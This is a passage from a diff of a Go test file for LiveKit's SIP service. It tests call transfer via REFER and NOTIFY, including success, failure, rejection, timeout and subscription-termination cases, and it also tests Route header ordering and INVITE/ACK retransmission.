*testing.T, ctx context.Context, call *sipUADialogTest, opts ...notifyOption) error { - t.Helper() - select { - case <-ctx.Done(): - return fmt.Errorf("test aborted before sending NOTIFY: %v", ctx.Err()) - case <-time.After(5 * time.Millisecond): - } - notifyReq := call.NewRequest(sip.NOTIFY) - notifyReq.AppendHeader(sip.NewHeader("Event", "refer")) - for _, opt := range opts { - opt(notifyReq) - } - notifyResp := call.TransactionRequest(t, notifyReq) - t.Logf("Received NOTIFY-%d %s response", notifyResp.StatusCode, notifyResp.Reason) - require.Equal(t, 200, notifyResp.StatusCode, "Expecting 200 OK response to NOTIFY") - return nil - } - - sendNotify := func(t *testing.T, ctx context.Context, call *sipUADialogTest, notifyStatuses []int) error { - t.Helper() - require.NotEmpty(t, notifyStatuses) - for i, status := range notifyStatuses { - t.Logf("Sending NOTIFY request carrying INVITE-%d response", status) - if err := sendNotifyRaw(t, ctx, call, withSipfrag(status)); err != nil { - return fmt.Errorf("failed to send remaining %d NOTIFY requests: %w", len(notifyStatuses)-i, err) - } - } - t.Log("All NOTIFY requests sent") - return nil - } - - handleBye := func(t *testing.T, ctx context.Context, reqChan <-chan *sipUARequest, call *sipUADialogTest) error { - // This will receive the BYE request, respond with 200 OK. - t.Helper() - select { - case <-ctx.Done(): - return fmt.Errorf("test aborted without receiving a BYE request: %v", ctx.Err()) - case msg := <-reqChan: - require.NotNil(t, msg) - require.Equal(t, sip.BYE, msg.req.Method) - require.Equal(t, call.localTag, msg.req.To().Params.GetOr("tag", "")) - t.Logf("Received BYE") - resp := sip.NewResponseFromRequest(msg.req, 200, sipStatus(200), nil) - return msg.tx.Respond(resp) - } - } - - sendBye := func(t *testing.T, call *sipUADialogTest) error { - t.Helper() - t.Logf("Sending BYE") - resp := call.TransactionRequest(t, call.NewRequest(sip.BYE)) - t.Logf("Received BYE-%d %s response", resp.StatusCode, resp.Reason) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting BYE-200 OK") - return nil - } - - type transferAPIResult struct { - resp *rpc.InternalTransferSIPParticipantResponse - err error - } - - startTransferFull := func(t *testing.T, ctx context.Context, st *serviceTest, call *sipUADialogTest, to string, headers map[string]string, dialtone bool) <-chan transferAPIResult { - t.Helper() - done := make(chan transferAPIResult, 1) - go func() { - defer close(done) - transferReq := &rpc.InternalTransferSIPParticipantRequest{ - SipCallId: string(call.remoteTag), - TransferTo: to, - Headers: headers, - PlayDialtone: dialtone, - } - if deadline, ok := ctx.Deadline(); ok { - transferReq.RingingTimeout = durationpb.New(time.Until(deadline) + (5 * time.Millisecond)) - } - resp, err := st.Service.TransferSIPParticipant(ctx, transferReq) - done <- transferAPIResult{resp: resp, err: err} - }() - return done - } - - // startTransfer reports only the error, which is all most subtests care about. - startTransfer := func(t *testing.T, ctx context.Context, st *serviceTest, call *sipUADialogTest, to string, headers map[string]string, dialtone bool) <-chan error { - t.Helper() - full := startTransferFull(t, ctx, st, call, to, headers, dialtone) - done := make(chan error, 1) - go func() { - defer close(done) - if res := <-full; res.err != nil { - done <- res.err - } - }() - return done - } - - directions := map[string]func(t *testing.T, st *serviceTest) *sipUADialogTest{ - "inbound": func(t *testing.T, st *serviceTest) *sipUADialogTest { - call, _ := st.CreateInboundCall(t) - return call - }, - "outbound": func(t *testing.T, st *serviceTest) *sipUADialogTest { - call, _, _ := st.CreateOutboundCall(t) - return call - }, - } - - for direction, setupCall := range directions { - t.Run(direction, func(t *testing.T) { - t.Parallel() - t.Run("normal", func(t *testing.T) { - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180, 200}) - require.NoError(t, err, "Failed to send NOTIFY requests") - err = handleBye(t, ctx, reqChan, call) // Expexting BYE after successful transfer - require.NoError(t, err, "Failed to process BYE request") - select { - case err := <-transferRes: - require.NoError(t, err, "error transferring call, unexpected transfer API response") - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") - } - }) - - t.Run("response", func(t *testing.T) { - // The API reports the outcome in the response, not just through - // the error return. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransferFull(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180, 200}) - require.NoError(t, err, "Failed to send NOTIFY requests") - err = handleBye(t, ctx, reqChan, call) - require.NoError(t, err, "Failed to process BYE request") - - select { - case res := <-transferRes: - require.NoError(t, res.err) - require.NotNil(t, res.resp) - require.NotEmpty(t, res.resp.TransferId, "the response must identify the transfer") - require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_SUCCESSFUL, res.resp.Status) - require.Equal(t, livekit.SIPTransferReason_STR_COMPLETED, res.resp.Reason) - require.Nil(t, res.resp.SipStatus) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for the transfer result") - } - }) - - t.Run("noraml_concurrent", func(t *testing.T) { - // Same as normal, but with multiple concurrent transfers API requests. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferResults := []<-chan error{ - startTransfer(t, ctx, st, call, referTo, nil, false), - startTransfer(t, ctx, st, call, referTo, nil, false), - startTransfer(t, ctx, st, call, referTo, nil, false), - } - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180, 200}) - require.NoError(t, err, "Failed to send NOTIFY requests") - err = handleBye(t, ctx, reqChan, call) // Expexting BYE after successful transfer - require.NoError(t, err, "Failed to process BYE request") - for _, transferRes := range transferResults { - select { - case err := <-transferRes: - require.NoError(t, err, "error transferring call, unexpected transfer API response") - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") - } - } - }) - - t.Run("with headers", func(t *testing.T) { - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - headers := map[string]string{ - "X-Custom-Header": "custom-value", - } - transferRes := startTransfer(t, ctx, st, call, referTo, headers, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, headers)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180, 200}) - require.NoError(t, err, "Failed to send NOTIFY requests") - err = handleBye(t, ctx, reqChan, call) // Expexting BYE after successful transfer - require.NoError(t, err, "Failed to process BYE request") - select { - case err := <-transferRes: - require.NoError(t, err, "error transferring call, unexpected transfer API response") - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") - } - }) - - t.Run("failed", func(t *testing.T) { - // Transfer fails, we don't receive a BYE - const finalNotifyStatus = 480 - - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180, finalNotifyStatus}) - require.NoError(t, err, "Failed to send NOTIFY requests") - select { - case <-time.After(time.Millisecond * 250): - t.Logf("No BYE received, as expected") - case msg := <-reqChan: - t.Fatalf("Received unexpected request: %+v", msg) - } - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - select { - case err := <-transferRes: - t.Logf("Received error: %v", err) - require.Error(t, err) - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - var sipErr *livekit.SIPStatus - require.ErrorAs(t, err, &sipErr) - require.Equal(t, livekit.SIPStatusCode(finalNotifyStatus), sipErr.Code) - require.Equal(t, sipStatus(finalNotifyStatus), sipErr.Status) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") - } - }) - - t.Run("failed_concurrent", func(t *testing.T) { - // Transfer fails, we don't receive a BYE - const finalNotifyStatus = 480 - - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferResults := []<-chan error{ - startTransfer(t, ctx, st, call, referTo, nil, false), - startTransfer(t, ctx, st, call, referTo, nil, false), - startTransfer(t, ctx, st, call, referTo, nil, false), - } - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180, finalNotifyStatus}) - require.NoError(t, err, "Failed to send NOTIFY requests") - select { - case <-time.After(time.Millisecond * 250): - t.Logf("No BYE received, as expected") - case msg := <-reqChan: - t.Fatalf("Received unexpected request: %+v", msg) - } - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - for i, transferRes := range transferResults { - select { - case err := <-transferRes: - t.Logf("Received error: %v for transfer %d", err, i) - require.Error(t, err) - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - var sipErr *livekit.SIPStatus - require.ErrorAs(t, err, &sipErr) - require.Equal(t, livekit.SIPStatusCode(finalNotifyStatus), sipErr.Code) - require.Equal(t, sipStatus(finalNotifyStatus), sipErr.Status) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") - } - } - }) - - t.Run("refer_rejected", func(t *testing.T) { - // The peer refuses the REFER outright, so no subscription is - // created and the SIP status is reported as-is. - const referStatus = 403 - - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, referStatus, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - - select { - case err := <-transferRes: - t.Logf("Received error: %v", err) - require.Error(t, err) - var sipErr *livekit.SIPStatus - require.ErrorAs(t, err, &sipErr) - require.Equal(t, livekit.SIPStatusCode(referStatus), sipErr.Code) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for the transfer to fail") - } - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - }) - - t.Run("no_notify", func(t *testing.T) { - // REFER accepted, but the peer never reports an outcome, so the - // transfer runs out of time. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - - select { - case err := <-transferRes: - t.Logf("Received error: %v", err) - require.Error(t, err) - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - require.Equal(t, psrpc.Canceled, psErr.Code()) - case <-time.After(3 * time.Second): - require.Fail(t, "timeout waiting for the transfer to fail") - } - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - }) - - t.Run("bye", func(t *testing.T) { - // After REFER gets 202 we wait on NOTIFY; remote hangs up with BYE - // instead, so the transfer outcome is never reported. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*5) - defer cancel() - - headers := map[string]string{ - "X-Custom-Header": "custom-value", - } - transferRes := startTransferFull(t, ctx, st, call, referTo, headers, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, headers)) - require.NoError(t, err, "Failed to process REFER request") - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - - select { - case res := <-transferRes: - // No error: callers branch on that today and this case has - // always reached them as a success. The response is where the - // transfer says it did not complete. - require.NoError(t, res.err) - require.NotNil(t, res.resp) - require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_FAILED, res.resp.Status) - require.Equal(t, livekit.SIPTransferReason_STR_CALL_ENDED, res.resp.Reason) - require.Nil(t, res.resp.SipStatus, "no SIP status was reported for this transfer") - require.NotEmpty(t, res.resp.TransferId) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for the transfer result") - } - }) - - t.Run("bye_after_success", func(t *testing.T) { - // Our peer reports the transfer succeeded, then BYEs the original - // leg because it is no longer needed. The NOTIFY and the BYE are - // handled on separate goroutines, so the result must still win - // over the call ending. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*5) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - - // Both requests are built before either is sent: the NOTIFY is - // still in flight when the BYE goes out. - notifyReq := call.NewRequest(sip.NOTIFY) - notifyReq.AppendHeader(sip.NewHeader("Event", "refer")) - notifyReq.AppendHeader(sip.NewHeader("Content-Type", "message/sipfrag")) - notifyReq.SetBody([]byte(sip.NewResponse(200, sipStatus(200)).String())) - byeReq := call.NewRequest(sip.BYE) - - // Send the NOTIFY without waiting for its response: it is only - // answered once the result is handed over, and the call is being - // torn down at the same time, so whether it gets answered at all - // is not what this test is about. - notifyTx, err := st.TestUA.Client.TransactionRequest(notifyReq) - require.NoError(t, err) - defer notifyTx.Terminate() - - resp := call.TransactionRequest(t, byeReq) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting BYE-200 OK") - - select { - case err := <-transferRes: - require.NoError(t, err, "a completed transfer must not be reported as aborted") - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for the transfer result") - } - }) - - t.Run("terminated_subscription", func(t *testing.T) { - // The peer ends the refer subscription while still reporting a - // provisional status, so no final status will ever arrive. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180}) - require.NoError(t, err, "Failed to send NOTIFY requests") - - start := time.Now() - err = sendNotifyRaw(t, ctx, call, withSipfrag(100), withSubState("terminated;reason=noresource")) - require.NoError(t, err, "Failed to send terminating NOTIFY request") - - select { - case err := <-transferRes: - t.Logf("Received error: %v", err) - require.ErrorIs(t, err, errReferSubscriptionTerminated) - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - require.Equal(t, psrpc.UpstreamServerError, psErr.Code()) - // The point of the fix: fail now, not after the transfer deadline. - require.Less(t, time.Since(start), 500*time.Millisecond) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for the transfer to fail") - } - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - }) - - t.Run("terminated_subscription_no_body", func(t *testing.T) { - // The peer ends the refer subscription with a NOTIFY that carries - // no sipfrag at all, so there is no status to read and the - // subscription state alone decides the outcome. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100}) - require.NoError(t, err, "Failed to send NOTIFY requests") - err = sendNotifyRaw(t, ctx, call, withSubState("terminated;reason=giveup")) - require.NoError(t, err, "Failed to send terminating NOTIFY request") - - select { - case err := <-transferRes: - t.Logf("Received error: %v", err) - require.ErrorIs(t, err, errReferSubscriptionTerminated) - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for the transfer to fail") - } - err = sendBye(t, call) - require.NoError(t, err, "Failed to send BYE request") - }) - - t.Run("terminated_subscription_success", func(t *testing.T) { - // The final NOTIFY of a successful transfer also terminates the - // subscription, so success has to be decided first. - t.Parallel() - call := setupCall(t, st) - - reqChan := call.RegisterRequestChannel("") - defer call.UnregisterRequestChannel("") - - ctx, cancel := context.WithTimeout(t.Context(), time.Second*3) - defer cancel() - - transferRes := startTransfer(t, ctx, st, call, referTo, nil, false) - - err := handleRefer(t, ctx, reqChan, call, 202, expectHeaders(referTo, nil)) - require.NoError(t, err, "Failed to process REFER request") - err = sendNotify(t, ctx, call, []int{100, 180}) - require.NoError(t, err, "Failed to send NOTIFY requests") - err = sendNotifyRaw(t, ctx, call, withSipfrag(200), withSubState("terminated;reason=noresource")) - require.NoError(t, err, "Failed to send final NOTIFY request") - err = handleBye(t, ctx, reqChan, call) // Expecting BYE after successful transfer - require.NoError(t, err, "Failed to process BYE request") - select { - case err := <-transferRes: - require.NoError(t, err, "error transferring call, unexpected transfer API response") - case <-ctx.Done(): - require.NoError(t, ctx.Err(), "timeout waiting for BYE to arrive") - } - }) - }) - } -} - -func TestRouteSet(t *testing.T) { - st := NewServiceTest(t, nil) - // makeRouteSetHeaders creates two Record-Route headers simulating two proxies - // in the signaling path. Returns the headers and the expected Route order for - // both UAC and UAS sides. - makeRouteSetHeaders := func(t *testing.T, st *serviceTest) (rrHeaders []sip.Header, expectUAS, expectUAC []string) { - t.Helper() - uri := st.TestUA.LocalURI() - uri1 := *uri - uri1.User = "proxy-user1" - uri1.UriParams = sip.NewParams() - uri1.UriParams.Add("lr", "") - uri1.UriParams.Add("check", "first") - uri2 := *uri - uri2.User = "proxy-user2" - uri2.UriParams = sip.NewParams() - uri2.UriParams.Add("lr", "") - uri2.UriParams.Add("check", "second") - rr1 := &sip.RecordRouteHeader{Address: uri1} - rr2 := &sip.RecordRouteHeader{Address: uri2} - // Record-Route order as seen on the wire: rr1 (topmost), rr2 - rrHeaders = []sip.Header{rr1, rr2} - // UAS route set: in order (RFC 3261 §12.1.1) - expectUAS = []string{rr1.Value(), rr2.Value()} - // UAC route set: reversed (RFC 3261 §12.1.2) - expectUAC = []string{rr2.Value(), rr1.Value()} - return - } - - // assertRouteHeaders verifies that a request carries the expected Route headers. - assertRouteHeaders := func(t *testing.T, req *sip.Request, expected []string) { - t.Helper() - routeHeaders := req.GetHeaders("Route") - require.Equal(t, len(expected), len(routeHeaders), "wrong number of Route headers") - for i, exp := range expected { - require.Equal(t, exp, routeHeaders[i].Value(), "Route header %d mismatch", i) - } - } - - t.Run("inbound", func(t *testing.T) { - t.Parallel() - // Server is UAS for inbound calls. Route set should be in order. - - t.Run("BYE", func(t *testing.T) { - t.Parallel() - rrHeaders, expectUAS, _ := makeRouteSetHeaders(t, st) - call, ic := st.CreateInboundCall(t, withTestHeaders(rrHeaders...)) - - byeSink := st.TestUA.RegisterSink(call.localTag, "BYE") - defer st.TestUA.UnregisterSink(call.localTag, "BYE") - - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - // Close triggers server-side BYE. Run in goroutine since Close - // blocks until the BYE transaction completes. - closed := make(chan error, 1) - go func() { - defer close(closed) - closed <- ic.Close() - }() - - select { - case msg := <-byeSink: - require.NotNil(t, msg) - require.Equal(t, sip.BYE, msg.req.Method) - assertRouteHeaders(t, msg.req, expectUAS) - _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 200, "OK", nil)) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for BYE") - } - err := <-closed - require.NoError(t, err) - }) - - t.Run("REFER", func(t *testing.T) { - t.Parallel() - rrHeaders, expectUAS, _ := makeRouteSetHeaders(t, st) - call, ic := st.CreateInboundCall(t, withTestHeaders(rrHeaders...)) - t.Cleanup(func() { ic.Close() }) - - referSink := st.TestUA.RegisterSink(call.localTag, "REFER") - defer st.TestUA.UnregisterSink(call.localTag, "REFER") - - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - transferRes := make(chan error, 1) - go func() { - defer close(transferRes) - _, err := ic.transferCall(ctx, "tel:+15551234567", nil, false) - transferRes <- err - }() - - select { - case msg := <-referSink: - require.NotNil(t, msg) - require.Equal(t, sip.REFER, msg.req.Method) - assertRouteHeaders(t, msg.req, expectUAS) - _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 202, "Accepted", nil)) - case err := <-transferRes: - require.Fail(t, "unexpected transfer result", err) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for REFER") - } - - req := call.NewRequest(sip.BYE) - resp := st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - - // The call ended before any NOTIFY reported the transfer outcome. - err := <-transferRes - require.ErrorIs(t, err, errTransferCallEnded) - }) - }) - - t.Run("outbound", func(t *testing.T) { - t.Parallel() - // Server is UAC for outbound calls. Route set should be reversed. - - t.Run("ACK", func(t *testing.T) { - t.Parallel() - rrHeaders, _, expectUAC := makeRouteSetHeaders(t, st) - call, _, ackReq := st.CreateOutboundCall(t, withTestHeaders(rrHeaders...)) - assertRouteHeaders(t, ackReq, expectUAC) - - req := call.NewRequest(sip.BYE) - resp := st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - }) - - t.Run("BYE", func(t *testing.T) { - t.Parallel() - rrHeaders, _, expectUAC := makeRouteSetHeaders(t, st) - call, oc, _ := st.CreateOutboundCall(t, withTestHeaders(rrHeaders...)) - - byeSink := st.TestUA.RegisterSink(call.localTag, "BYE") - defer st.TestUA.UnregisterSink(call.localTag, "BYE") - - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - closed := make(chan error, 1) - go func() { - defer close(closed) - closed <- oc.Close(ctx) - }() - - select { - case msg := <-byeSink: - require.NotNil(t, msg) - require.Equal(t, sip.BYE, msg.req.Method) - assertRouteHeaders(t, msg.req, expectUAC) - _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 200, "OK", nil)) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for BYE") - } - err := <-closed - require.NoError(t, err) - }) - - t.Run("REFER", func(t *testing.T) { - t.Parallel() - rrHeaders, _, expectUAC := makeRouteSetHeaders(t, st) - call, oc, _ := st.CreateOutboundCall(t, withTestHeaders(rrHeaders...)) - - referSink := st.TestUA.RegisterSink(call.localTag, "REFER") - defer st.TestUA.UnregisterSink(call.localTag, "REFER") - - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - transferRes := make(chan error, 1) - go func() { - defer close(transferRes) - _, err := oc.transferCall(ctx, "tel:+15551234567", nil, false) - transferRes <- err - }() - - select { - case msg := <-referSink: - require.NotNil(t, msg) - require.Equal(t, sip.REFER, msg.req.Method) - assertRouteHeaders(t, msg.req, expectUAC) - _ = msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 202, "Accepted", nil)) - case err := <-transferRes: - require.Fail(t, "unexpected transfer result", err) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for REFER") - } - - req := call.NewRequest(sip.BYE) - resp := st.TestUA.TransactionRequest(t, req, false) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - - // The call ended before any NOTIFY reported the transfer outcome. - err := <-transferRes - require.ErrorIs(t, err, errTransferCallEnded) - }) - }) -} - -func TestRetransmission(t *testing.T) { - st := NewServiceTest(t, nil) - // Withhold ACK, expect server-side retransmission of 200 - t.Run("INVITE-200", func(t *testing.T) { - t.Parallel() - - call := newTestCall(st.TestUA, false) - req, localSDP, err := call.Invite(nil) - require.NoError(t, err) - call.SetLocalSDP(localSDP) - - tx, err := st.TestUA.Client.TransactionRequest(req) - require.NoError(t, err) - t.Cleanup(tx.Terminate) - - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - resp := getFinalResponseOrFail(t, ctx, tx) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - remoteTag, ok := resp.To().Params.Get("tag") - require.True(t, ok, "remote tag should be present") - call.SetRemoteTag(LocalTag(remoteTag)) - call.SetRemoteSDP(resp.Body()) - call.SetRouteSet(resp, true) - t.Cleanup(func() { - bye := call.NewRequest(sip.BYE) - st.TestUA.TransactionRequest(t, bye, true) - }) - - for range 2 { - resp = getFinalResponseOrFail(t, ctx, tx) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "Expecting 200 OK") - } - - call.localCseq-- - ackReq := call.NewRequest(sip.ACK) - err = st.TestUA.Client.WriteRequest(ackReq) - require.NoError(t, err) - }) - - // Resend invite-200, expect client-side retransmission of ACK - t.Run("ACK", func(t *testing.T) { - t.Skip("TODO: Known gap at this time") - t.Parallel() - - call := newTestCall(st.TestUA, true) - req := call.CreateSipParticipantRequest() - ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) - defer cancel() - - inviteCh := make(chan *sipUARequest, 1) - st.mu.Lock() - st.Pending[string(call.remoteTag)] = inviteCh - st.mu.Unlock() - defer func() { - st.mu.Lock() - delete(st.Pending, string(call.remoteTag)) - st.mu.Unlock() - }() - - _, err := st.Client.CreateSIPParticipant(ctx, req) - require.NoError(t, err) - - var msg *sipUARequest - select { - case msg = <-inviteCh: - t.Logf("invite received: %+v", msg) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for invite") - } - - require.NotNil(t, msg, "unexpected nil message") - - require.Equal(t, string(call.remoteTag), msg.req.From().Params.GetOr("tag", ""), "remote tag should be the same") - require.Equal(t, call.remoteUser, msg.req.From().Address.User, "remote user should be the same") - require.Equal(t, call.localUser, msg.req.To().Address.User, "local user should be the same") - - offer, err := sdp.ParseOfferWith(defaultCodecs, msg.req.Body()) - require.NoError(t, err) - sdpAnswer, _, err := offer.Answer(netip.MustParseAddr("4.3.2.1"), 0xB00, sdp.EncryptionNone) - require.NoError(t, err) - answerBytes, err := sdpAnswer.SDP.Marshal() - require.NoError(t, err) - resp := sip.NewResponseFromRequest(msg.req, sip.StatusOK, "OK", answerBytes) - resp.To().Params.Add("tag", call.localTag) - - call.callID = msg.req.CallID().Value() - call.remoteCseq = msg.req.CSeq().SeqNo - call.SetRemoteSDP(msg.req.Body()) - call.SetLocalSDP(resp.Body()) - call.SetRouteSet(resp, false) - reqSink := st.TestUA.RegisterSink(call.localTag, "") - - // Now we want to send 3x 200 responses - for range 3 { - err = msg.tx.Respond(resp) - require.NoError(t, err) - - select { - case ack := <-reqSink: - require.Equal(t, sip.ACK, ack.req.Method) - require.Equal(t, msg.req.CSeq().SeqNo, ack.req.CSeq().SeqNo) - require.Equal(t, msg.req.CallID().Value(), ack.req.CallID().Value()) - require.Equal(t, call.localTag, ack.req.To().Params.GetOr("tag", "")) - case <-ctx.Done(): - require.Fail(t, "timeout waiting for ACK retransmission") - } - } - t.Cleanup(func() { - bye := call.NewRequest(sip.BYE) - st.TestUA.TransactionRequest(t, bye, false) - }) - }) -} +package sip + +import ( + "context" + "fmt" + "log/slog" + "math/rand" + "net" + "net/netip" + "slices" + "sync" + "sync/atomic" + "testing" + "time" + + "errors" + + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/durationpb" + + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +type sipUATestOption func(*sipUATest) + +func withUATestBuffer(buffer uint) sipUATestOption { + return func(s *sipUATest) { + s.bufferSize = buffer + } +} + +func withUATestPort(port uint16) sipUATestOption { + return func(s *sipUATest) { + s.localAddr = netip.AddrPortFrom(s.localAddr.Addr(), port) + } +} + +func newUATest(t *testing.T, log logger.Logger, remote netip.AddrPort, options ...sipUATestOption) *sipUATest { + t.Helper() + + ua := &sipUATest{ + log: log, + remoteAddr: remote, + localAddr: netip.AddrPortFrom(netip.MustParseAddr("127.0.0.1"), 0), + } + for _, option := range options { + option(ua) + } + ua.sinks = make(map[string]map[string]chan *sipUARequest) + + var err error + ua.UA, err = sipgo.NewUA( + sipgo.WithUserAgent("from@test"), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(log))), + ) + require.NoError(t, err) + t.Cleanup(func() { ua.UA.Close() }) + + ua.Server, err = sipgo.NewServer(ua.UA) + require.NoError(t, err) + ua.Server.OnNoRoute(ua.onRequest) + t.Cleanup(func() { ua.Server.Close() }) + + err = ua.serveTransport(t, "tcp") + require.NoError(t, err) + err = ua.serveTransport(t, "udp") + require.NoError(t, err) + + // Should be after serveTransport to know the local port for 